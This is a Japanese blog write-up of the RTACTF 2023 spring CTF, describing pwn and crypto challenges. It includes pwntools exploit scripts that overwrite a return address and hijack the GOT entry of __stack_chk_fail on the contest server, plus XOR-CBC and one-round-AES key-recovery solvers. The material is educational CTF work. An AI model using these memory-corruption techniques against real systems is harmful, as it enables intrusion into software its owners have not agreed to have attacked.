RTACTF 2023 春 Writeup

Tue Mar 21 2023

    3/21 に開催していた RTACTF 2023 春 の Crypto part で走りました。 結果は… YouTube をご覧ください (完敗です)。 目標は完走した感想を言うことでしたが、ただの感想しか言えなかった…

    pwn

    自分の番まで待ってる間に特にやることもなかったので pwn も軽くやってました。 Start ボタンを押したりファイルをダウンロードする練習になりました 1

    before-write

    気が狂って ghidra を真っ先に開きましたが、 warmup でそれは必要ないだろうということで radare2 を使いました。 ソースコードがあるからそれを読めばよくない?と思われそうですが、その通りです。存在にあとで気づきました。

    canary なし、 overflow あり、 win 関数ありということで ret 書き換えでよさそうです。 ret address の offset を探すのは面倒だったので雑にやりました。

    from pwn import *
    
    io = remote("35.194.118.87", 9001)
    
    payload = b""
    payload += p64(0x004011b6) * 100
    io.sendlineafter(b"value: ", payload)
    io.interactive()

    write

    ghidra を使って解析したところ、 array の前後に任意の値を書き込めることがわかります。 GOT の書き換えができそうですが、書き込みをしたあとに呼ばれる libc の関数がありません…と思って ghidra を眺めていたら __stack_chk_fail が目に入りました。使えそうなのはこれだけっぽいのでこれを使うことにしました。 あれこれ考えると __stack_chk_fail の GOT を書き換えつつ stack 上で overflow を起こせばよいことがわかりました。

    最後 value を書き込むときに p64(addr_win) としていて沼っていました…

    from pwn import *
    
    context.log_level = "DEBUG"
    
    elf = ELF("./write/chall")
    
    io = remote("35.194.118.87", 9002)
    
    addr_array = 0x404080
    addr_win = 0x4011b6
    offset = (elf.got["__stack_chk_fail"] - addr_array) // 0x8
    # offset = offset % 256 ** 8
    offset = str(offset) + "A" * 0x80
    
    payload = addr_win
    
    io.sendlineafter(b"index: ", str(offset).encode())
    io.sendlineafter(b"value: ", str(payload).encode())
    io.interactive()

    read-write, only-read

    RTA でなくても全く解ける気配がなかったのでやってません!

    crypto

    ここからが本題です。

    XOR-CBC

    なぜか AES だと思いこんでて、初動で完全にフリーズしてしまいました… KEY_SIZE = 8 であることや、フラグが RTACTF{ (7文字) から始まることをほのめかす assert があることから、フラグの8文字目256通りに対して key が256通り定まることがわかります。 これは全列挙ができるので256通りの key で decrypt (関数を用意してくれていて助かる) をしてあげて、フラグとなっていそうな文字列を探してあげました。 最後フラグを探すパートではパディングを見るべきでしたが、目視でやりました。

    enc = bytes.fromhex("6528337d61658047295cef0310f933eb681e424b524bcc294261bd471ca25bcd6f3217494b1ca7290c158d7369c168b3")
    
    iv = enc[:8]
    
    for i in range(256):
        tmp = flag_prefix + bytes([i])
        tmp_key = p64(u64(iv) ^ u64(tmp) ^ u64(enc[8:16]))
        print(decrypt(enc, tmp_key))

    Collision-DES

    解けませんでした!

    wikipedia の DES のページ を見ても文字を読む気力がなかったので適当に python 実装 を探してコードを読んでいました。 このあたり を読むと permute したあとに block が56 bit になっている (もともと64 bit なのに) ことがわかったので、この落ちた8 bit 分で衝突が起こせることがわかりました。 これを衝突させるために z3 を使おうとしましたが、あれこれやっているうちに時間切れでした。

    Reused-AES

    解けませんでした!その2

    AES CFB モードの問題なので wikipedia の AES 暗号利用モードのページ を眺めていました。 すると平文と暗号文が既知の場合 Enc(iv) がリークできる見た目をしていたので、それを使ってフラグの前半16bytes を復元しようとしました。しかし全然想定した結果にならなくて沼ってました。 まずサーバー側でのデプロイミスを疑って (疑ってすみません) 手元で実行してみてもダメ。次に手元の python あるいはライブラリが壊れたのかと思って (pwn で悲劇を見ていたので) 一つ一つ想定していない挙動をしているのがどれかを探していました。 xor(AES.new(key, AES.MODE_ECB).encrypt(iv), pt) != AES.new(key, AES.MODE_CFB, iv).encrypt(pt) となっていることに気づき、なんで?となっているうちに時間切れでした。 どうやら CFB-8 という方式があり、 pycryptodome ではそっちを採用しているとのことでした。図を見ているだけでは気づけなかった… CFB モードは何回か CTF でもみたことがあったはずなのにこの仕様を知らないまま解いてこれたのはなんでや。

    1R-AES

    謎の AES 実装を渡されて絶望。 diff ファイルを見たら AES のラウンドの数が1回になるように変更されていました。 AES の実装を諳んじるほど理解していなかったし、この AES ファイルの挙動がいわゆる AES と同じものになっているかも信じきれなかったため、ブラックボックスとして解くことにしました (コードを読む心の余裕がなかった)。 AES を簡略化したものを z3 で解く例はいくつかあった覚えがあった 2 ので、 z3 の方針に決めました 3

    ざっと AES のコードを眺めたところ、 bytes を実質 List[int] のように扱っていることがわかったので、そこまで大きくコードを書き換えることなく z3 のコードに置き換えられました。具体的には matrix2bytesxor_bytes の return 部分を bytes ではなくリストにするだけです。

    100個 (適当) 平文と暗号文のペアを持ってきてソルバーに投げたら無事解くことができました 4。 コードをバグらせた気しかしなかったので無事ちゃんと解けてよかった…遅かったけど。

    from pwn import remote
    
    io = remote("35.194.118.87", 7003)
    _ = io.recvuntil(b"enc(la): ")
    enc_flag = bytes.fromhex(io.recvline().strip().decode())
    
    pts = []
    encs = []
    for _ in range(100):
        pt = os.urandom(16)
        io.sendlineafter(b"msg > ", pt.hex().encode())
        _ = io.recvuntil(b"enc(msg): ")
        enc = bytes.fromhex(io.recvline().strip().decode())
        pts.append(pt)
        encs.append(enc)
    
    s = Solver()
    SBOX = Array("sbox", BitVecSort(8), BitVecSort(8))
    INV_SBOX = Array("inv_sbox", BitVecSort(8), BitVecSort(8))
    for x in range(256):
        s.add(SBOX[x] == s_box[x])
        s.add(INV_SBOX[x] == inv_s_box[x])
    
    key = [BitVec(f"key_{i}", 8) for i in range(16)]
    cipher = AES(key)
    for pt, enc in zip(pts, encs):
        enc_ans = cipher.encrypt_block(list(pt))
        for i in range(16):
            s.add(enc_ans[i] == enc[i])
    
    s.check()
    m = s.model()
    k = bytes([m[key[i]].as_long() for i in range(16)])  # b"wani_no_oishasan"
    print(AES(k).decrypt_block(enc_flag))

    Footnotes

    1. この時点で自動化スクリプトを書けばよかったのでは?次回機会があっても絶対やらないだろうけど

    2. 記憶にあったのは これ だが、なかなか検索に引っかからず探すのに苦戦した

    3. これは今考えるとかなり悪手で、血迷っていると思う

    4. このタイミングで nc したときに、最後の1 byte を変えた平文を送ると特定の場所が1 byte 変わった暗号文が手に入ることに気づき、簡単に解けることがわかった :sob: 後には引けなかったなどと供述しており